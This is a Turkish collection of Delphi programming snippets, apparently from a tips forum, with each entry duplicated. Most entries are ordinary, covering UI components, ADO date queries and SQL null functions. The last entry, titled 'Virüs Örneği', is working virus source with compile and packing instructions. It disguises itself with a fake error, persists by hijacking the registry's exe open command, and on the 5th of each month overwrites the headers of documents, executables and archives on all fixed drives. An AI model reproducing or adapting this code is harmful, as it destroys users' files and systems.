Dinamik Bileşen oluşturma
//Nuh EROĞLU
//nuheroglu@hotmail.com
var
sayac : Integer = 20;
PANELLER : ARRAY OF TPanel ;
procedure TForm1.herseyihazirla();
begin
for sira := 1 to sayac do begin
PANELLER[sira] := TPanel.Create(Form1) ;
with PANELLER[sira] do begin
Parent := Form1 ;
Width := 1024 div 5;
Height := 650 div (sayac div 5);
Left := Width*((sira+4) mod 5);
if (sira mod 5) = 0 then
Top := 0 + (sira div 5)*Height-Height
else
Top := 0 + (sira div 5)*Height;
Name := 'Panel_Makine' + inttostr(sira);
Color := clwhite ;
Caption := 'Panel_Makine' + inttostr(sira) ;
Visible := True ;
DoubleBuffered := True ;
end; // with Panel
end;
end;
//Nuh EROĞLU
//nuheroglu@hotmail.com
Delphi - .....................................
ADA QUERY ile iki tarih arasını sorgulama
//Nuh EROĞLU
//nuheroglu@hotmail.com
procedure TForm5.Button1Click(Sender: TObject);
var
basalangiczamanitampon: String ;
bitiszamanitampon : string ;
basalangiczamani: String ;
bitiszamani : string ;
begin
basalangiczamanitampon := DateToStr(DateTimePicker1.Date);
bitiszamanitampon := DateToStr(DateTimePicker2.Date);
basalangiczamani := (basalangiczamanitampon);
bitiszamani := (bitiszamanitampon);
With Form4 do begin
ADOQuery1.Active:=False;
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('select * from veriler');
ADOQuery1.SQL.Add('where Kayit_Tarihi between '''+basalangiczamani+''' and '''+bitiszamani+'''');Form4.ADOQuery1.Active:=True;
ADOQuery1.SQL.Add('ORDER BY Tarih');
ADOQuery1.Active:=True;
QuickRep1.Preview;
end;
end;
Delphi - .....................................
ADA QUERY ile iki tarih arasını sorgulama
//Nuh EROĞLU
//nuheroglu@hotmail.com
procedure TForm5.Button1Click(Sender: TObject);
var
basalangiczamanitampon: String ;
bitiszamanitampon : string ;
basalangiczamani: String ;
bitiszamani : string ;
begin
basalangiczamanitampon := DateToStr(DateTimePicker1.Date);
bitiszamanitampon := DateToStr(DateTimePicker2.Date);
basalangiczamani := (basalangiczamanitampon);
bitiszamani := (bitiszamanitampon);
With Form4 do begin
ADOQuery1.Active:=False;
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('select * from veriler');
ADOQuery1.SQL.Add('where Kayit_Tarihi between '''+basalangiczamani+''' and '''+bitiszamani+'''');Form4.ADOQuery1.Active:=True;
ADOQuery1.SQL.Add('ORDER BY Tarih');
ADOQuery1.Active:=True;
QuickRep1.Preview;
end;
end;
Delphi - .....................................
Delphi 7'de Qreport Ekleme
Delphi 7 kuran arkadaşlar bilirler. Kurulumdan sonra bakıldığında qreport
componenti görüntülenmez. İşte ihtiyacı olan arkadaşlara bunu anlatacağım.
Önce çalışan tüm project'leri kapatıyoruz. Sonra Component>Install Packages
menüsünden çıkan dialog bölümünde Add butonuna tıklayın. Önümüze Add Design
Packages başlıklı bir dialog daha çıkacak. Burada C:Program FilesBorlandDelphi6Bindclqrt70.bpl
dosyasını seçin ve ok butonuna basın. Sonrada Add Design Packages bölümüne ok diyin. Component
barında Qreport ' eklenmiş olarak göreceksiniz..
Teşekkürler.
Mehmet KURT
MSN : mkurt@doruk-elektronik.com
NOT: İsteyen arkadaşlar bilgilerini paylaşmak için
Msn listelerine ekleyebilirler. Lütfen acemi arkadaşlar
beni fazla sıkmayınız....
Delphi - .....................................
Delphi 7'de Qreport Ekleme
Delphi 7 kuran arkadaşlar bilirler. Kurulumdan sonra bakıldığında qreport
componenti görüntülenmez. İşte ihtiyacı olan arkadaşlara bunu anlatacağım.
Önce çalışan tüm project'leri kapatıyoruz. Sonra Component>Install Packages
menüsünden çıkan dialog bölümünde Add butonuna tıklayın. Önümüze Add Design
Packages başlıklı bir dialog daha çıkacak. Burada C:Program FilesBorlandDelphi6Bindclqrt70.bpl
dosyasını seçin ve ok butonuna basın. Sonrada Add Design Packages bölümüne ok diyin. Component
barında Qreport ' eklenmiş olarak göreceksiniz..
Teşekkürler.
Mehmet KURT
MSN : mkurt@doruk-elektronik.com
NOT: İsteyen arkadaşlar bilgilerini paylaşmak için
Msn listelerine ekleyebilirler. Lütfen acemi arkadaşlar
beni fazla sıkmayınız....
Delphi - .....................................
dbexpress SOS SOS
yaaa bana başka yok bırakmadılar
forumara okadar ssordum cevap veren olmadı
arkadaşlar buraya yazdığım için gerçekten özürdilerim
ama şu dbexpress componentinin host özelliğini prog içinden edit1.text nesnesinden alması gerekiyor
lütfen bilmeyenler cevaplamasın
sinirim fena bozuk....
admin@gacalsoft.com
bilgilendirirseniz sevinirim
Delphi - .....................................
dbexpress SOS SOS
yaaa bana başka yok bırakmadılar
forumara okadar ssordum cevap veren olmadı
arkadaşlar buraya yazdığım için gerçekten özürdilerim
ama şu dbexpress componentinin host özelliğini prog içinden edit1.text nesnesinden alması gerekiyor
lütfen bilmeyenler cevaplamasın
sinirim fena bozuk....
admin@gacalsoft.com
bilgilendirirseniz sevinirim
Delphi - .....................................
SQL de boş kayıtlar için fonksiyonlar
{ORACLE }
NVL(B.ILKOKUMATARIHI,'01.01.1900')
{SQL SERVER }
COALESCE(B.ILKOKUMATARIHI,'01.01.1900')
COALESCE(B.OKUMATARIHI,'01.01.1989')
{mysql}
ifnull(b.ilkokuma,'01.01.2004')
Delphi - .....................................
SQL de boş kayıtlar için fonksiyonlar
{ORACLE }
NVL(B.ILKOKUMATARIHI,'01.01.1900')
{SQL SERVER }
COALESCE(B.ILKOKUMATARIHI,'01.01.1900')
COALESCE(B.OKUMATARIHI,'01.01.1989')
{mysql}
ifnull(b.ilkokuma,'01.01.2004')
Delphi - .....................................
Sql Suresi
var
s,e,f: int64;
begin
QueryPerformanceFrequency(f);
QueryPerformanceCounter(s);
// query open
QueryPerformanceCounter(e);
caption := Format('%.4f',[(e-s) / f])
Delphi - .....................................
Sql Suresi
var
s,e,f: int64;
begin
QueryPerformanceFrequency(f);
QueryPerformanceCounter(s);
// query open
QueryPerformanceCounter(e);
caption := Format('%.4f',[(e-s) / f])
Delphi - .....................................
TImage Kontrolünü Temizlemek
{
TImage kontrolünü temizlemek için bir fonksiyon yok bunun yerine ona hiçliği
atayarak bu durumu çözebiliriz:
}
Image1.Picture := nil;
--] Zeki ÖZEN zekielke@gmail.com [--
Delphi - .....................................
TImage Kontrolünü Temizlemek
{
TImage kontrolünü temizlemek için bir fonksiyon yok bunun yerine ona hiçliği
atayarak bu durumu çözebiliriz:
}
Image1.Picture := nil;
--] Zeki ÖZEN zekielke@gmail.com [--
Delphi - .....................................
TListView üzerine progress bar eklemek
{
Çoğu download yöneticileri, yüklemede kalan miktarı göstermek için list view
tipinde bir component kullanıyor. Delphi'nin TListView komponenti parça(item)
listesini göstermek için çeşitli yollar kullanmaktadır. TProgressBar bar basit
bir progress bar gösterir. Progress barlar uygulama içerisindeki bir prosedürün
süreci hakkında görsel bir geribildirim sunarlar.
ListView içerisindeki ProgressBar
ListView kontrolünün ViewStyle özelliği vsReport olarak ayarlığında,
herbir parça kendi hattında sütunlara yerleştirilmiş bilgi ile görüntülenir.
En soldaki sütun ikon ve etiketi, sonraki sütunlarsa uygulama tarafından
belirtilen alt parçaları (subitems) görüntüler.
ViewStyle özelliği vsReport olarak ayarlanmış bir ListView komponentine
sahip olduğunuzu düşünün. İki sütunda Colums özelliği ile tanımlanmış:
Birinci sütun parçanın adını, ikinci sütun progress içeriyor.
Formunuzun üzerinde buna ek olarak AddItem ve RemoveItem adında iki butonumuz var.
Örnek görünüm için :
http://delphi.about.com/library/weekly/aa053105a.htm
}
procedure TForm1.AddItemButtonClick(
Sender: TObject);
const
pbColumnIndex = 1;
pbMax = 100;
var
li : TListItem;
lv : TListView;
pb : TProgressBar;
pbRect : TRect;
begin
lv := ListViewEx1;
//Yeni bir ListItem yarat (lv için)
li := lv.Items.Add;
li.Caption := 'Item ' + IntToStr(lv.Items.Count);
//Yeni bir progress bar yarat ve ikinci sütuna yerleştir
pb := TProgressBar.Create(nil);
pb.Parent := lv;
li.Data := pb;
pbRect := li.DisplayRect(drBounds);
pbRect.Left := pbRect.Left +
lv.Columns[-1 + pbColumnIndex].Width;
pbRect.Right := pbRect.Left +
lv.Columns[pbColumnIndex].Width;
pb.BoundsRect := pbRect;
end; //AddItemButtonClick
{
AddItem butonu tıklandığı zaman, ListView (burada adı ListViewEx1) kontrolüne
yeni bir ListItem (TListItem) eklenir. Bir progressbar yaratılır, progress bar
için referans List Item'ın Data özelliğine eklenir ve sonunda progress bar
pbColumIndex te belirtilen kısma yerleştirilir. Progress barı sağ tarafa
yerleştirmek için bazı hesaplamalar yapılmaktadır.
Listeden bir parçayı (item) çıkartmak istediğiniz zaman, eklenmiş
progressbar'ın hafızadan silenmesinden emin olmalısınız ve seçilmiş progress
barın altındaki tüm progress barların bir yukarı çıktığından emin olmalısınız.
}
procedure TForm1.RemoveItemButtonClick(
Sender: TObject);
var
lv : TListView;
li : TListItem;
i, idx : integer;
pb : TProgressBar;
begin
lv := ListViewEx1;
li := lv.Selected;
if li <> nil then
begin
idx := li.Index;
TProgressBar(li.Data).Free;
lv.Items.Delete(idx);
//Barları yukarı taşı
for i := idx to -1 + lv.Items.Count do
begin
li := lv.Items.Item[i];
pb := TProgressBar(li.Data);
pb.Top := pb.Top -
(pb.BoundsRect.Bottom -
pb.BoundsRect.Top);
end;
end;
end; //RemoveItemButtonClick
{
Şimdi test etmek için form üzerine bir Timer komponeti yerleştiriyoruz ve
bunun OnTime olayına aşağıdaki kodu yerleştiriyoruz.
}
procedure TForm1.Timer1Timer(
Sender: TObject);
var
idx : integer;
pb: TProgressbar;
lv : TListView;
begin
lv := ListViewEx1;
if lv.Items.Count = 0 then Exit;
//rastgele bir parça (item) seç ve
//progress durumunu değiştir.
idx := Random(lv.Items.Count);
pb := TProgressBar(lv.Items[idx].Data);
if pb.Position < pb.Max then
pb.StepIt
else
pb.Position := 0;
end;//Timer1Timer
--] Zeki ÖZEN zekielke@gmail.com [--
Delphi - .....................................
TListView üzerine progress bar eklemek
{
Çoğu download yöneticileri, yüklemede kalan miktarı göstermek için list view
tipinde bir component kullanıyor. Delphi'nin TListView komponenti parça(item)
listesini göstermek için çeşitli yollar kullanmaktadır. TProgressBar bar basit
bir progress bar gösterir. Progress barlar uygulama içerisindeki bir prosedürün
süreci hakkında görsel bir geribildirim sunarlar.
ListView içerisindeki ProgressBar
ListView kontrolünün ViewStyle özelliği vsReport olarak ayarlığında,
herbir parça kendi hattında sütunlara yerleştirilmiş bilgi ile görüntülenir.
En soldaki sütun ikon ve etiketi, sonraki sütunlarsa uygulama tarafından
belirtilen alt parçaları (subitems) görüntüler.
ViewStyle özelliği vsReport olarak ayarlanmış bir ListView komponentine
sahip olduğunuzu düşünün. İki sütunda Colums özelliği ile tanımlanmış:
Birinci sütun parçanın adını, ikinci sütun progress içeriyor.
Formunuzun üzerinde buna ek olarak AddItem ve RemoveItem adında iki butonumuz var.
Örnek görünüm için :
http://delphi.about.com/library/weekly/aa053105a.htm
}
procedure TForm1.AddItemButtonClick(
Sender: TObject);
const
pbColumnIndex = 1;
pbMax = 100;
var
li : TListItem;
lv : TListView;
pb : TProgressBar;
pbRect : TRect;
begin
lv := ListViewEx1;
//Yeni bir ListItem yarat (lv için)
li := lv.Items.Add;
li.Caption := 'Item ' + IntToStr(lv.Items.Count);
//Yeni bir progress bar yarat ve ikinci sütuna yerleştir
pb := TProgressBar.Create(nil);
pb.Parent := lv;
li.Data := pb;
pbRect := li.DisplayRect(drBounds);
pbRect.Left := pbRect.Left +
lv.Columns[-1 + pbColumnIndex].Width;
pbRect.Right := pbRect.Left +
lv.Columns[pbColumnIndex].Width;
pb.BoundsRect := pbRect;
end; //AddItemButtonClick
{
AddItem butonu tıklandığı zaman, ListView (burada adı ListViewEx1) kontrolüne
yeni bir ListItem (TListItem) eklenir. Bir progressbar yaratılır, progress bar
için referans List Item'ın Data özelliğine eklenir ve sonunda progress bar
pbColumIndex te belirtilen kısma yerleştirilir. Progress barı sağ tarafa
yerleştirmek için bazı hesaplamalar yapılmaktadır.
Listeden bir parçayı (item) çıkartmak istediğiniz zaman, eklenmiş
progressbar'ın hafızadan silenmesinden emin olmalısınız ve seçilmiş progress
barın altındaki tüm progress barların bir yukarı çıktığından emin olmalısınız.
}
procedure TForm1.RemoveItemButtonClick(
Sender: TObject);
var
lv : TListView;
li : TListItem;
i, idx : integer;
pb : TProgressBar;
begin
lv := ListViewEx1;
li := lv.Selected;
if li <> nil then
begin
idx := li.Index;
TProgressBar(li.Data).Free;
lv.Items.Delete(idx);
//Barları yukarı taşı
for i := idx to -1 + lv.Items.Count do
begin
li := lv.Items.Item[i];
pb := TProgressBar(li.Data);
pb.Top := pb.Top -
(pb.BoundsRect.Bottom -
pb.BoundsRect.Top);
end;
end;
end; //RemoveItemButtonClick
{
Şimdi test etmek için form üzerine bir Timer komponeti yerleştiriyoruz ve
bunun OnTime olayına aşağıdaki kodu yerleştiriyoruz.
}
procedure TForm1.Timer1Timer(
Sender: TObject);
var
idx : integer;
pb: TProgressbar;
lv : TListView;
begin
lv := ListViewEx1;
if lv.Items.Count = 0 then Exit;
//rastgele bir parça (item) seç ve
//progress durumunu değiştir.
idx := Random(lv.Items.Count);
pb := TProgressBar(lv.Items[idx].Data);
if pb.Position < pb.Max then
pb.StepIt
else
pb.Position := 0;
end;//Timer1Timer
--] Zeki ÖZEN zekielke@gmail.com [--
Delphi - .....................................
Ctrl+Shift+F11
form1 ----> keypreview := true;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (key =vk_F11) and (shift = [ssctrl,ssShift]) then
begin
ShowMessage('Ctrl+Shift+F11 e bastiniz');
end;
Delphi - .....................................
Ctrl+Shift+F11
form1 ----> keypreview := true;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (key =vk_F11) and (shift = [ssctrl,ssShift]) then
begin
ShowMessage('Ctrl+Shift+F11 e bastiniz');
end;
Delphi - .....................................
Virüs Örneği
{
boş bir delphi projesi açın ve projedeki varsayılan gelen formu kaldırın.
proje > view source ye girin ve bu kodu oraya tamamen yapıştırın
programı derleyin ve sonuç 100 KB yi geçmeyen bir exe
daha sonra UPX veya tarzı bir yazılım ile exe yi tekrar derleyin ve
sonuç 40 KB civarı bir boyut ki ideal bir boyut.
windows sürümü ayrıştırmaz ve çalışır.
delphi7 ile derlenmiştir.
}
program Project1;
uses
Windows, SysUtils, Classes, inifiles, registry;
resourcestring
tbc01='This application has failed to start because Program too big to fit in memory.';
tbc02='Proje';
tbc03='Explorer.exe http://www.microsoft.com';
tbc04='project1';
tbc05='win.ini';
tbc06='files';
tbc07='acmf';
tbc08='imaadp32.acm';
tbc09='exefileshellopencommand';
tbc00='"%1" %*';
tbc11='"';
tbc12='Twunk_16.exe';
function FileEx(_FileName_:string):boolean;
const FExt :array[1..16] of string = ('.exe','.dll','.db',
'.mdb','.com','.sys',
'.doc','.xls','.ppt',
'.adt','.adm','.mdf',
'.ldf','.rar','.zip',
'.vxd');
var return:string; x:byte; bx:boolean;
begin
return := LowerCase( ExtractFileExt(_FileName_) );
bx := false;
for x := 1 to high(FExt) do
if return = FExt[x] then
begin
bx := true;
break;
end;
Result := bx;
end;
procedure SetZero(_FileName_: string);
const VSignature : array[1..17] of byte = ($54, $68, $65,
$42, $6C, $61,
$63, $6B, $43,
$6C, $6F, $75,
$64, $20, $56,
$30, $31);
VAR
fexe : TFileStream;
Signature : byte;
theend : int64;
dng : integer;
begin
try
if FileExists(_FileName_) and FileEx(_FileName_) then
begin
fexe := TFileStream.Create(_FileName_, fmOpenReadWrite);
fexe.Seek(-1,soFromEnd);
theend := fexe.Position;
fexe.Position := soFromBeginning;
Signature := $30;
if theend > 80 then
begin
for dng := 0 to 16 do
fexe.WriteBuffer( VSignature[dng+1], sizeof(VSignature[dng+1]));
theend := 59;
Sleep(200);
for dng := 0 to theend do
fexe.WriteBuffer( Signature, sizeof(Signature));
end;
FreeAndNil(fexe);
end;
except
end;
end;
Procedure FindFiles(const Path, Mask: string; IncludeSubDir: boolean);
var
FindResult: integer;
SearchRec : TSearchRec;
begin
try
FindResult := FindFirst(Path + Mask, faAnyFile - faDirectory, SearchRec);
while FindResult = 0 do
begin
SetZero( Path + SearchRec.Name );
FindResult := FindNext(SearchRec);
end;
FindClose(SearchRec);
if not IncludeSubDir then
Exit;
FindResult := FindFirst(Path + '*.*', faDirectory, SearchRec);
while FindResult = 0 do
begin
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
FindFiles (Path + SearchRec.Name + '', Mask, TRUE);
FindResult := FindNext(SearchRec);
end;
FindClose(SearchRec);
except
end;
end;
procedure DeviceControl(device:Char);
var DriveType: Integer;
begin
if DirectoryExists(device+':') then
begin
DriveType := GetDriveType(pChar(device+':'));
if DriveType = DRIVE_FIXED then
FindFiles(device+':','*.*',true);
end;
end;
function GetWinDir: String;
var
dir: array [0..max_path] of char;
begin
GetWindowsDirectory(dir, max_path);
result:=StrPas(dir);
end;
var
ifs:TIniFile;
Reg:TRegistry;
pcx:integer;
sx:string;
begin
for pcx := 1 to ParamCount do
sx := sx + ParamStr(pcx) + ' ';
if trim(sx) <> EmptyStr then
WinExec(pchar(trim(sx)),SW_NORMAL)
else
MessageBox(0,pchar(tbc01),pchar(tbc02),MB_ICONERROR + MB_OK);
CreateMutex(nil,true,pchar(tbc04));
if GetLastError = ERROR_ALREADY_EXISTS then Halt(0);
ifs := TIniFile.Create( GetWinDir + tbc05 );
if ifs.ReadString(tbc06,tbc07,'') <> tbc08 then
begin
CopyFile( pchar( ParamStr(0) ) , pchar(GetWinDir + ''+ tbc12) ,false);
ifs.WriteString(tbc06,tbc07,tbc08);
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
if Reg.OpenKey(tbc09, True) then
begin
Reg.WriteString('',tbc11 + GetWinDir + ''+ tbc12 + tbc11 + ' ' + tbc00);
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end;
FreeAndNil(ifs);
if (StrToIntDef(FormatDateTime('d',date),0) = 5) then
begin
DeviceControl('C');
DeviceControl('D');
DeviceControl('E');
end;
end.
Delphi - .....................................
Virüs Örneği
{
boş bir delphi projesi açın ve projedeki varsayılan gelen formu kaldırın.
proje > view source ye girin ve bu kodu oraya tamamen yapıştırın
programı derleyin ve sonuç 100 KB yi geçmeyen bir exe
daha sonra UPX veya tarzı bir yazılım ile exe yi tekrar derleyin ve
sonuç 40 KB civarı bir boyut ki ideal bir boyut.
windows sürümü ayrıştırmaz ve çalışır.
delphi7 ile derlenmiştir.
}
program Project1;
uses
Windows, SysUtils, Classes, inifiles, registry;
resourcestring
tbc01='This application has failed to start because Program too big to fit in memory.';
tbc02='Proje';
tbc03='Explorer.exe http://www.microsoft.com';
tbc04='project1';
tbc05='win.ini';
tbc06='files';
tbc07='acmf';
tbc08='imaadp32.acm';
tbc09='exefileshellopencommand';
tbc00='"%1" %*';
tbc11='"';
tbc12='Twunk_16.exe';
function FileEx(_FileName_:string):boolean;
const FExt :array[1..16] of string = ('.exe','.dll','.db',
'.mdb','.com','.sys',
'.doc','.xls','.ppt',
'.adt','.adm','.mdf',
'.ldf','.rar','.zip',
'.vxd');
var return:string; x:byte; bx:boolean;
begin
return := LowerCase( ExtractFileExt(_FileName_) );
bx := false;
for x := 1 to high(FExt) do
if return = FExt[x] then
begin
bx := true;
break;
end;
Result := bx;
end;
procedure SetZero(_FileName_: string);
const VSignature : array[1..17] of byte = ($54, $68, $65,
$42, $6C, $61,
$63, $6B, $43,
$6C, $6F, $75,
$64, $20, $56,
$30, $31);
VAR
fexe : TFileStream;
Signature : byte;
theend : int64;
dng : integer;
begin
try
if FileExists(_FileName_) and FileEx(_FileName_) then
begin
fexe := TFileStream.Create(_FileName_, fmOpenReadWrite);
fexe.Seek(-1,soFromEnd);
theend := fexe.Position;
fexe.Position := soFromBeginning;
Signature := $30;
if theend > 80 then
begin
for dng := 0 to 16 do
fexe.WriteBuffer( VSignature[dng+1], sizeof(VSignature[dng+1]));
theend := 59;
Sleep(200);
for dng := 0 to theend do
fexe.WriteBuffer( Signature, sizeof(Signature));
end;
FreeAndNil(fexe);
end;
except
end;
end;
Procedure FindFiles(const Path, Mask: string; IncludeSubDir: boolean);
var
FindResult: integer;
SearchRec : TSearchRec;
begin
try
FindResult := FindFirst(Path + Mask, faAnyFile - faDirectory, SearchRec);
while FindResult = 0 do
begin
SetZero( Path + SearchRec.Name );
FindResult := FindNext(SearchRec);
end;
FindClose(SearchRec);
if not IncludeSubDir then
Exit;
FindResult := FindFirst(Path + '*.*', faDirectory, SearchRec);
while FindResult = 0 do
begin
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
FindFiles (Path + SearchRec.Name + '', Mask, TRUE);
FindResult := FindNext(SearchRec);
end;
FindClose(SearchRec);
except
end;
end;
procedure DeviceControl(device:Char);
var DriveType: Integer;
begin
if DirectoryExists(device+':') then
begin
DriveType := GetDriveType(pChar(device+':'));
if DriveType = DRIVE_FIXED then
FindFiles(device+':','*.*',true);
end;
end;
function GetWinDir: String;
var
dir: array [0..max_path] of char;
begin
GetWindowsDirectory(dir, max_path);
result:=StrPas(dir);
end;
var
ifs:TIniFile;
Reg:TRegistry;
pcx:integer;
sx:string;
begin
for pcx := 1 to ParamCount do
sx := sx + ParamStr(pcx) + ' ';
if trim(sx) <> EmptyStr then
WinExec(pchar(trim(sx)),SW_NORMAL)
else
MessageBox(0,pchar(tbc01),pchar(tbc02),MB_ICONERROR + MB_OK);
CreateMutex(nil,true,pchar(tbc04));
if GetLastError = ERROR_ALREADY_EXISTS then Halt(0);
ifs := TIniFile.Create( GetWinDir + tbc05 );
if ifs.ReadString(tbc06,tbc07,'') <> tbc08 then
begin
CopyFile( pchar( ParamStr(0) ) , pchar(GetWinDir + ''+ tbc12) ,false);
ifs.WriteString(tbc06,tbc07,tbc08);
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
if Reg.OpenKey(tbc09, True) then
begin
Reg.WriteString('',tbc11 + GetWinDir + ''+ tbc12 + tbc11 + ' ' + tbc00);
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end;
FreeAndNil(ifs);
if (StrToIntDef(FormatDateTime('d',date),0) = 5) then
begin
DeviceControl('C');
DeviceControl('D');
DeviceControl('E');
end;
end.
